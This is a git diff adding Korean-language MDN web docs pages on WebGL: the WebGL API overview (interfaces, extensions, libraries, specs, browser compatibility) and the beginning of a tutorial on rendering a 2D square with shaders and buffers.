+<p><strong>Note:</strong> WebGL 텍스쳐에 대한 CORS 지원과 이미지 요소의 crossOrigin 속성이 {{Gecko("8.0")}}에 구현되어 있습니다.</p>
+</div>
+
+<p>내용이 변경되어 오염된(tainted) 쓰기 전용의 2D 캔버스는 WebGL 텍스쳐로 사용될 수 없습니다. 예를 들어 크로스-도메인 이미지가 그려진 2D <span style="line-height: 16.7999992370605px;">{{ HTMLElement("canvas") }}는 오염된 2D 캔버스라고 할 수 있습니다.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> 캔버스 2D의 drawImage에 대한 CORS 지원은 {{Gecko("9.0")}}에 구현되어 있습니다. 따라서 {{Gecko("9.0")}}에서부터는, CORS 승인된 크로스-도메인 이미지는 2D 캔버스를 오염시키지 않으며, CORS 승인된 크로스-도메인 이미지가 그려진 2D 캔버스도 WebGL 텍스쳐로 사용할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> 크로스-도메인 비디오에 대한 CORS 지원과 {{ HTMLElement("video") }}요소의 crossorigin 속성은 {{Gecko("12.0")}}에 구현되어 있습니다.</p>
+</div>
+
+<p>{{ languages( { "ja": "ja/WebGL/Cross-Domain_Textures", "ko": "ko/Web/WebGL/Cross-Domain_Textures"} ) }}</p>
diff --git a/files/ko/web/api/webgl_api/index.html b/files/ko/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..20988c4b70
--- /dev/null
+++ b/files/ko/web/api/webgl_api/index.html
@@ -0,0 +1,255 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+  - 3D
+  - 3D Graphics
+  - API
+  - Advanced
+  - Graphics
+  - JavaScript
+  - Media
+  - Overview
+  - Reference
+  - WebGL
+  - WebGL API
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p><strong>WebGL</strong>(Web Graphics Library)은 플러그인을 사용하지 않고 웹 브라우저에서 상호작용 가능한 3D와 2D 그래픽을 표현하기 위한 JavaScript API입니다. WebGL은 HTML5 {{HTMLElement("canvas")}} 요소에서 사용할 수 있는, OpenGL ES 2.0을 대부분 충족하는 API를 제공합니다.</p>
+
+<p>WebGL은 <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/fr/safari/" title="http://www.apple.com/fr/safari/">Safari</a> 5.1+, <a href="http://windows.microsoft.com/en-us/internet-explorer/download-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+, <a href="https://www.microsoft.com/en-us/windows/microsoft-edge">Microsoft Edge</a> build 10240+에서 사용할 수 있습니다. 그러나 사용자 장치의 하드웨어도 WebGL 기능을 지원해야 합니다.</p>
+
+<p>{{HTMLElement("canvas")}} 요소는 <a href="/ko/docs/Web/API/Canvas_API">캔버스 API</a>를 사용해 웹 페이지에서 2D 그래픽을 그릴 때도 사용됩니다.</p>
+
+<h2 class="Documentation" id="참고서">참고서</h2>
+
+<h3 id="표준_인터페이스">표준 인터페이스</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("WebGLRenderingContext")}}</li>
+ <li>{{domxref("WebGL2RenderingContext")}}</li>
+ <li>{{domxref("WebGLActiveInfo")}}</li>
+ <li>{{domxref("WebGLBuffer")}}</li>
+ <li>{{domxref("WebGLContextEvent")}}</li>
+ <li>{{domxref("WebGLFramebuffer")}}</li>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLQuery")}}</li>
+ <li>{{domxref("WebGLRenderbuffer")}}</li>
+ <li>{{domxref("WebGLSampler")}}</li>
+ <li>{{domxref("WebGLShader")}}</li>
+ <li>{{domxref("WebGLShaderPrecisionFormat")}}</li>
+ <li>{{domxref("WebGLSync")}}</li>
+ <li>{{domxref("WebGLTexture")}}</li>
+ <li>{{domxref("WebGLTransformFeedback")}}</li>
+ <li>{{domxref("WebGLUniformLocation")}}</li>
+ <li>{{domxref("WebGLVertexArrayObject")}}</li>
+</ul>
+</div>
+
+<h3 id="확장">확장</h3>
+
+<div class="index">
+<ul>
+ <li>{{domxref("ANGLE_instanced_arrays")}}</li>
+ <li>{{domxref("EXT_blend_minmax")}}</li>
+ <li>{{domxref("EXT_color_buffer_float")}}</li>
+ <li>{{domxref("EXT_color_buffer_half_float")}}</li>
+ <li>{{domxref("EXT_disjoint_timer_query")}}</li>
+ <li>{{domxref("EXT_float_blend")}} {{experimental_inline}}</li>
+ <li>{{domxref("EXT_frag_depth")}}</li>
+ <li>{{domxref("EXT_sRGB")}}</li>
+ <li>{{domxref("EXT_shader_texture_lod")}}</li>
+ <li>{{domxref("EXT_texture_compression_bptc")}}</li>
+ <li>{{domxref("EXT_texture_compression_rgtc")}}</li>
+ <li>{{domxref("EXT_texture_filter_anisotropic")}}</li>
+ <li>{{domxref("OES_element_index_uint")}}</li>
+ <li>{{domxref("OES_fbo_render_mipmap")}} {{experimental_inline}}</li>
+ <li>{{domxref("OES_standard_derivatives")}}</li>
+ <li>{{domxref("OES_texture_float")}}</li>
+ <li>{{domxref("OES_texture_float_linear")}}</li>
+ <li>{{domxref("OES_texture_half_float")}}</li>
+ <li>{{domxref("OES_texture_half_float_linear")}}</li>
+ <li>{{domxref("OES_vertex_array_object")}}</li>
+ <li>{{domxref("WEBGL_color_buffer_float")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_astc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_atc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_etc1")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_pvrtc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc")}}</li>
+ <li>{{domxref("WEBGL_compressed_texture_s3tc_srgb")}}</li>
+ <li>{{domxref("WEBGL_debug_renderer_info")}}</li>
+ <li>{{domxref("WEBGL_debug_shaders")}}</li>
+ <li>{{domxref("WEBGL_depth_texture")}}</li>
+ <li>{{domxref("WEBGL_draw_buffers")}}</li>
+ <li>{{domxref("WEBGL_lose_context")}}</li>
+</ul>
+</div>
+
+<h3 id="이벤트">이벤트</h3>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextlost_event">webglcontextlost</a></code></li>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextrestored_event">webglcontextrestored</a></code></li>
+ <li><code><a href="/ko/docs/Web/API/HTMLCanvasElement/webglcontextcreationerror_event">webglcontextcreationerror</a></code></li>
+</ul>
+
+<h3 id="상수와_자료형">상수와 자료형</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Constants">WebGL 상수</a></li>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Types">WebGL 자료형</a></li>
+</ul>
+
+<h3 id="WebGL_2">WebGL 2</h3>
+
+<p>WebGL 2는 {{domxref("WebGL2RenderingContext")}} 인터페이스를 통해 제공되는 WebGL 메이저 업데이트다. OpenGL ES 3.0 을 기반으로 하며 다음과 같은 특징을 포함한다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/WebGL2RenderingContext/texImage3D">3D textures</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLSampler">Sampler objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGL2RenderingContext#Uniform_buffer_objects">Uniform Buffer objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLSync">Sync objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLQuery">Query objects</a>,</li>
+ <li><a href="/ko/docs/Web/API/WebGLTransformFeedback">Transform Feedback objects</a>,</li>
+ <li>WebGL 2의 핵심이 된 확장 기능: <a href="/ko/docs/Web/API/WebGLVertexArrayObject">Vertex Array objects</a>, <a href="/ko/docs/Web/API/WebGL2RenderingContext/drawArraysInstanced">instancing</a>, <a href="/ko/docs/Web/API/WebGL2RenderingContext/drawBuffers">multiple render targets</a>, <a href="/ko/docs/Web/API/EXT_frag_depth">fragment depth</a>.</li>
+</ul>
+
+<p><a href="https://hacks.mozilla.org/2017/01/webgl-2-lands-in-firefox/">"WebGL 2 lands in Firefox"</a> 블로그 포스트와와 and <a href="http://webglsamples.org/WebGL2Samples/">webglsamples.org/WebGL2Samples</a> 데모도 참고.</p>
+
+<h2 class="Documentation" id="안내서와_자습서">안내서와 자습서</h2>
+
+<h3 id="안내서">안내서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Data">WebGL의 데이터</a></dt>
+ <dd>WebGL 코드를 작성할 때 사용하는 변수, 버퍼와 그 외 다른 형태의 데이터를 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL/WebGL_best_practices" title="WebGL/WebGL best practices">WebGL 우수 사례</a></dt>
+ <dd>WebGL 콘텐츠의 품질, 성능, 안정성을 높일 수 있는 팁과 제안입니다.</dd>
+ <dt><a href="/ko/docs/Web/WebGL/Using_Extensions" title="WebGL/Using_Extensions">확장 사용</a></dt>
+ <dd>WebGL 확장을 사용하는 법을 알아봅니다.</dd>
+</dl>
+
+<h3 id="자습서">자습서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Tutorial">WebGL 자습서</a></dt>
+ <dd>초심자를 위한 WebGL 핵심 개념입니다. WebGL을 접해보지 않았다면 여기서 시작해보세요.</dd>
+</dl>
+
+<h3 id="예제">예제</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Basic_2D_animation_example">기초 WebGL 2D 애니메이션 예제</a></dt>
+ <dd>This example demonstrates the simple animation of a one-color shape. Topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in WebGL.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/By_example">예제로 알아보는 WebGL</a></dt>
+ <dd>A series of live samples with short explanations that showcase WebGL concepts and capabilities. The examples are sorted according to topic and level of difficulty, covering the WebGL rendering context, shader programming, textures, geometry, user interaction, and more.</dd>
+</dl>
+
+<h3 id="고급_자습서">고급 자습서</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/WebGL_model_view_projection">WebGL 모델 뷰 프로젝션</a></dt>
+ <dd>A detailed explanation of the three core matrices that are typically used to represent a 3D object view: the model, view and projection matrices.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API/Matrix_math_for_the_web">웹을 위한 행렬 계산</a></dt>
+ <dd>A useful guide to how 3D transform matrices work, and can be used on the web — both for WebGL calculations and in CSS3 transforms.</dd>
+</dl>
+
+<h2 class="Related_Topics" id="참고자료">참고자료</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a> A talk by Nick Desaulniers that introduces the basics of WebGL. This is a great place to start if you've never done low-level graphics programming.</li>
+ <li><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a> The main web site for WebGL at the Khronos Group.</li>
+ <li><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a> A site with tutorials on how to use WebGL.</li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a> A basic tutorial with fundamentals of WebGL.</li>
+ <li><a href="http://webglplayground.net/" title="http://webglplayground.net">WebGL playground</a> An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</li>
+ <li><a href="http://www.webglacademy.com/" title="http://www.webglacademy.com">WebGL Academy</a> An HTML/JavaScript editor with tutorials to learn basics of webgl programming.</li>
+ <li><a href="http://webglstats.com/">WebGL Stats</a> A site with statistics about WebGL capabilities in browsers on different platforms.</li>
+</ul>
+
+<h3 id="Libraries">Libraries</h3>
+
+<ul>
+ <li><a href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a> is a JavaScript matrix and vector library for high-performance WebGL apps.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> is a WebGL framework for data visualization, creative coding, and game development.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> is a fast, open-source 2D WebGL renderer.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> is an open-source game engine.</li>
+ <li><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a> is an open-source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</li>
+ <li><a href="https://threejs.org/">three.js</a> is an open-source, fully featured 3D WebGL library.</li>
+ <li><a href="https://phaser.io/">Phaser</a> is a fast, free and fun open source framework for Canvas and WebGL powered browser games</li>
+</ul>
+
+<h2 class="Related_Topics" id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebGL')}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Initial definition. Based on OpenGL ES 2.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL2')}}</td>
+   <td>{{Spec2('WebGL2')}}</td>
+   <td>Builds on top of WebGL 1. Based on OpenGL ES 3.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0')}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 3.0')}}</td>
+   <td>{{Spec2('OpenGL ES 3.0')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 class="Related_Topics" id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="WebGL_1">WebGL 1</h3>
+
+
+
+<p>{{Compat("api.WebGLRenderingContext", 0)}}</p>
+
+<h3 id="WebGL_2_2">WebGL 2</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.WebGL2RenderingContext", 0)}}</p>
+
+<h3 id="호환성_노트">호환성 노트</h3>
+
+<p>브라우저 이외에 GPU 자체도 기능을 제공합니다. 따라서 예를들면 S3 텍스처 압축(S3TC)은 오직 테그라 기반 테블렛에서 사용가능합니다.</p>
+
+<h3 id="게코_노트">게코 노트</h3>
+
+<h4 id="WebGL_디버깅과_테스팅">WebGL 디버깅과 테스팅</h4>
+
+<p>Gecko 10.0 {{geckoRelease("10.0")}}을 사용하면 WebGL의 호환성을 테스트 목적으로 제어할수 있도록 두 가지 환경설정을 할 수 있습니다.</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>Boolean 속성으로 참일 경우 최소 호환성 모드로 사용 가능합니다. <span style="line-height: 1.5;">이 모드에서 WebGL는 오직 최소한의 기능만 설정하고 WebGL 명세에서 필요한 기능만 지원하도록 설정되어 집니다. 이는 WebGL코드가 어떠한 디바이스나 브라우저에서 작동이 된다는 것을 보장합니다. 기본값으로는 거짓으로 설정되어 있습니다.</span></dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>Boolean 속성으로 참일 경우 WebGL 확장을 비활성화 하고 기본값은 거짓입니다.</dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Canvas_API">Canvas API</a></li>
+ <li><a href="/ko/docs/Web/API/WebGLRenderingContext/getSupportedExtensions#Browser_compatibility">Compatibility info about WebGL extensions</a></li>
+</ul>
diff --git a/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..62ca452949
--- /dev/null
+++ b/files/ko/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,236 @@
+---
+title: WebGL 컨텍스트에 2D 컨텐츠 추가하기
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+tags:
+  - Tutorial
+  - WebGL
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</p>
+
+<p>일단 성공적으로 <a href="/en/WebGL/Getting_started_with_WebGL" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="en/WebGL/Getting started with WebGL">WebGL컨텍스트를 생성</a>하면 그 안에 렌더링을 시작할 수 있습니다. 가장 간단히 해볼 수 있는 것은 텍스쳐가 없는 2D 객체를 렌더링 하는 것입니다. 한번 사각형을 그리는 코드를 작성하는 것으로 시작해봅시다.</p>
+
+<h2 id="장면(scene)에_조명효과_추가하기">장면(scene)에 조명효과 추가하기</h2>
+
+<div>  시작 하기전에 반드시 이해해야할 것은 예제에서 오직 2차원 객체만 랜더링을 하더라도 3D 공간에서 그리고 있다는 것 입니다. 이처럼 여전히 객체가 그려질 간단한 장면에 조명 쉐이더를 설정하는것이 필요합니다. 여기서 어떻게 사각형에 조명효과를 줄 수 있는지 확인해보겠습니다.</div>
+
+<div> </div>
+
+<h3 id="쉐이더_초기화">쉐이더 초기화</h3>
+
+<p>  <span style="font-size: 14px; line-height: 1.5;">쉐이더는</span><a class="external" href="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="http://www.khronos.org/registry/gles/specs/2.0/GLSL_ES_Specification_1.0.17.pdf">OpenGL ES 쉐이딩 언어</a><span style="font-size: 14px; line-height: 1.5;">를 사용하여 지정됩니다. 컨텐츠의 유지보수와 업데이트를 쉽게하기 위해 쉐이더를 '불러오기위한' 코드를 직접 작성하겠습니다. 다시 말하자면 쉐이더를 직접 새로 만드는 것이 아니라 HTML문서에서 쉐이더를 '찾아오는' 자바스크립트 코드입니다. 이 작업을 처리하는 initShaders()함수의 일반적인 형태를 살펴보겠습니다.</span></p>
+
+<pre class="brush: js">function initShaders() {
+  var fragmentShader = getShader(gl, "shader-fs");
+  var vertexShader = getShader(gl, "shader-vs");
+
+  // Create the shader program
+
+  shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // If creating the shader program failed, alert
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert("Unable to initialize the shader program.");
+  }
+
+  gl.useProgram(shaderProgram);
+
+  vertexPositionAttribute = gl.getAttribLocation(shaderProgram, "aVertexPosition");
+  gl.enableVertexAttribArray(vertexPositionAttribute);
+}
+
+</pre>
+
+<p>이 방식을 통해 로딩되는 쉐이더는 두가지가 있습니다. 첫번째는 조각 쉐이더(fragment shader)로 "shader-fs"라는 ID를 가진 script 엘리먼트에서 불러옵니다. 두번째는 정점 쉐이더(vertex shader)로 "shader-vs"라는 ID를 가진 script엘리먼트에서 불러옵니다.  getShader()함수는 다음 섹션에서 다룰 것입니다.  이 과정은 쉐이더 프로그램을 DOM에서 가저오는 것을 다룹니다. </p>
+
+<p>그 다음 우리는 WebGL 객체의 createProgram()함수를 호출하여 쉐이더 프로그램을 생성 할 것입니다.  WebGL 객체에 두개의 쉐이더를  붙인다음 서로 연결할 것입니다. 그 다음 프로그램이 성공적으로 연결되었는지 확인하기 위해 gl 객체의 LINK_STATUS 매개변수를 체크합니다. 이것이 성공적이라면 새로운 쉐이더 프로그램을 활성화 합니다.</p>
+
+<h3 id="DOM에서_쉐이더_불러오기">DOM에서 쉐이더 불러오기</h3>
+
+<p>getShader()함수는 DOM에서 지정된 이름을 가진 쉐이더 프로그램을 가져와 컴파일된 쉐이더 프로그램을 호출자에 반환 합니다. 컴파일이나 불러올 수 없는 경우에는 null을 반환 합니다.</p>
+
+<pre class="brush: js">function getShader(gl, id) {
+  var shaderScript, theSource, currentChild, shader;
+
+  shaderScript = document.getElementById(id);
+
+  if (!shaderScript) {
+    return null;
+  }
+
+  theSource = "";
+  currentChild = shaderScript.firstChild;
+
+  while(currentChild) {
+    if (currentChild.nodeType == currentChild.TEXT_NODE) {
+      theSource += currentChild.textContent;
+    }
+
+    currentChild = currentChild.nextSibling;
+  }
+</pre>
+
+<p>특정 ID를 가진 엘리먼트를 찾으면 텍스트 컨텐츠가 <code>theSource 변수에 저장됩니다.</code></p>
+
+<pre class="brush: js">  if (shaderScript.type == "x-shader/x-fragment") {
+    shader = gl.createShader(gl.FRAGMENT_SHADER);
+  } else if (shaderScript.type == "x-shader/x-vertex") {
+    shader = gl.createShader(gl.VERTEX_SHADER);
+  } else {
+     // Unknown shader type
+     return null;
+  }</pre>
+
+<p>쉐이더를 위한 코드가 읽혀지면 쉐이더가 정점 쉐이더(MIME type "x-shader/x-vertex")인지 조각 쉐이더(MIME type "x-shader/x-fragment")인지 결정하기 위해 쉐이더 객체의 MIME 형식을 살펴봅니다. 그 다음 소스 코드에서 얻어진 것을 가지고 적절한 타입의 쉐이더를 생성합니다.</p>
+
+<pre class="brush: js">  gl.shaderSource(shader, theSource);
+
+  // Compile the shader program
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+      alert("An error occurred compiling the shaders: " + gl.getShaderInfoLog(shader));
+      return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<div><span style="font-size: 14px; line-height: 1.5;">마지막으로 소스는 쉐이더로 전달되고 컴파일됩니다. 만약 쉐이더가 컴파일하는 동안 에러가 발생하면 경고 메세지를 출력하고 null을 반환합니다. 그러지 않으면 새롭게 컴파일된 쉐이더가 호출자로 반환됩니다.</span></div>
+
+<div> </div>
+
+<h3 id="쉐이더">쉐이더</h3>
+
+<div>그 다음 쉐이더 프로그램을 HTML 표현에 추가해야 합니다. 쉐이더가 구체적으로 어떻게 작동하는지에 대한 내용은 이 문서에서 다루지 않습니다. 다음은 쉐이더 언어 문법입니다.</div>
+
+<div> </div>
+
+<h4 id="조각_쉐이더(Fragment_shader)">조각 쉐이더(Fragment shader)</h4>
+
+<p><span style="font-size: 14px; line-height: 1.5;">다각형 안에 있는 각각의 픽셀은 GL 전문용어로<strong> fragment</strong>이라고 부릅니다. fragment shader가 하는 일은 각 픽셀의 색상을 설정하는 것입니다. 우리는 간단하게 각 픽셀을 하얀색으로 지정하겠습니다.</span></p>
+
+<p>fragment의 색상에서 사용되는 gl_FragColor는 GL에서 만들어진 변수입니다. 아래와 같이 값을 설정하면 픽셀의 색상이 설정됩니다.</p>
+
+<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
+
+  void main(void) {
+
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+
+  }
+
+&lt;/script&gt;</pre>
+
+<div> </div>
+
+<h4 id="정점_쉐이더(Vertex_Shader)">정점 쉐이더(Vertex Shader)</h4>
+
+<p>정점 쉐이더는 각 정점의 위치과 모양을 정의합니다.</p>
+
+<pre class="brush: html  language-html"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>shader-vs<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>x-shader/x-vertex<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  attribute vec3 aVertexPosition<span class="punctuation token">;</span>
+
+  uniform mat4 uMVMatrix<span class="punctuation token">;</span>
+  uniform mat4 uPMatrix<span class="punctuation token">;</span>
+
+  <span class="keyword token">void</span> <span class="function token">main<span class="punctuation token">(</span></span><span class="keyword token">void</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    gl_Position <span class="operator token">=</span> uPMatrix <span class="operator token">*</span> uMVMatrix <span class="operator token">*</span> <span class="function token">vec4<span class="punctuation token">(</span></span>aVertexPosition<span class="punctuation token">,</span> <span class="number token">1.0</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="객체_생성">객체 생성</h2>
+
+<p>사각형 렌더링을 하기 전에 사각형의 각 정점들을 저장할 버퍼를 만들어야 합니다. 이를 <strong>initBuffers()</strong>라는 함수를 이용해 해보도록 하겠습니다. 앞으로 고급 WebGL 개념을 살펴보면서, 더욱 다양하고 복잡한 3D 오브젝트를 생성하고자 할 때 이 루틴을 많이 사용하게 될 것입니다.</p>
+
+<pre class="brush: js">var horizAspect = 480.0/640.0;
+
+function initBuffers() {
+  squareVerticesBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+
+  var vertices = [
+    1.0,  1.0,  0.0,
+    -1.0, 1.0,  0.0,
+    1.0,  -1.0, 0.0,
+    -1.0, -1.0, 0.0
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(vertices), gl.STATIC_DRAW);
+}
+</pre>
+
+<p><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">이 예제에서는 장면(scene)의 기본적인 속성만을 보여주기 위해, 루틴이 다소 지나치게 단순화되어있습니다. 정점들을 저장할 버퍼를 얻기 위해 </span><code style="font-style: normal; font-size: 13.63636302948px; line-height: 19.0909080505371px;">gl</code><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> </span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;">객체의 </span><span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">createBuffer()</span><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> 메서드를 호출하는 것으로 시작합니다. 그 다음 </span><code style="font-style: normal; font-size: 13.63636302948px; line-height: 19.0909080505371px;">bindBuffer()</code><span style="font-size: 13.63636302948px; line-height: 19.0909080505371px;"> 메서드를 불러와 컨텍스트에 연결합니다.</span></p>
+
+<p>이 과정이 끝난 뒤 사각형의 각 정점 좌표를 담고있는 자바스크립트 배열을 생성합니다. 그런 다음 배열을 WebGL floats 배열로 변환한 뒤 gl객체의 bufferData() 메서드로 전달해 객체의 정점을 설정합니다.</p>
+
+<h2 id="장면(Scene)_그리기">장면(Scene) 그리기</h2>
+
+<p>쉐이더가 설정되고 객체가 생성되면 실제로 장면을 렌더링 할 수 있습니다. 이 예제에서 어떠한 애니메이팅도 안 할 것이기 떄문에 <span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">drawScene()</span>함수는 매우 간단합니다. 이는 우리가 곧 다룰 몇 가지 유용한 루틴만 사용합니다?.</p>
+
+<pre class="brush: js">function drawScene() {
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  perspectiveMatrix = makePerspective(45, 640.0/480.0, 0.1, 100.0);
+
+  loadIdentity();
+  mvTranslate([-0.0, 0.0, -6.0]);
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesBuffer);
+  gl.vertexAttribPointer(vertexPositionAttribute, 3, gl.FLOAT, false, 0, 0);
+  setMatrixUniforms();
+  gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);
+}
+</pre>
+
+<p>첫번째 과정은 배경색에 컨텍스트를 clear하는 것입니다. 그 다음 카메라의 원근을 설정합니다. 시점을 45°로, 종횡비를 640/480(캔버스의 크기)로 설정합니다. 또한 카메라로부터  0.1에서 100단위 사이에 있는 오브젝트만 렌더링하도록 정합니다.</p>
+
+<p>그런 다음 identity(항등) position을 불러오고 카메라에서 6단위 만큼 translate(변환)하여 사각형의 위치를 정합니다 . 그 다음 사각형 정점 버퍼를 컨텍스트에 연결해 구성한 뒤 <span style="font-family: courier new,andale mono,monospace; font-size: 13.63636302948px; line-height: 19.0909080505371px;">drawArrays()</span> 메서드를 불러와 객체를 그립니다. </p>
+
+<p>브라우저가 웹GL을 지원한다면 다음 링크에서 확인 할 수 있습니다.  <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">try out this demo by clicking here</a></p>
+
+<h2 id="행렬_유틸리티를_이용한_연산">행렬 유틸리티를 이용한 연산</h2>
+
+<p>행렬 연산은 꽤 복잡합니다. 행렬을 다루기 위한 코드를 직접 작성하고 싶은 사람은 아무도 없을 것입니다. 다행히도 벡터와 행렬 연산을 자바스크립트에서 다루는 데 아주 편리한 라이브러리인 <a class="external" href="http://sylvester.jcoglan.com/" style="font-size: 13.63636302948px; line-height: 19.0909080505371px;" title="http://sylvester.jcoglan.com/">Sylvester</a>가 있습니다.</p>
+
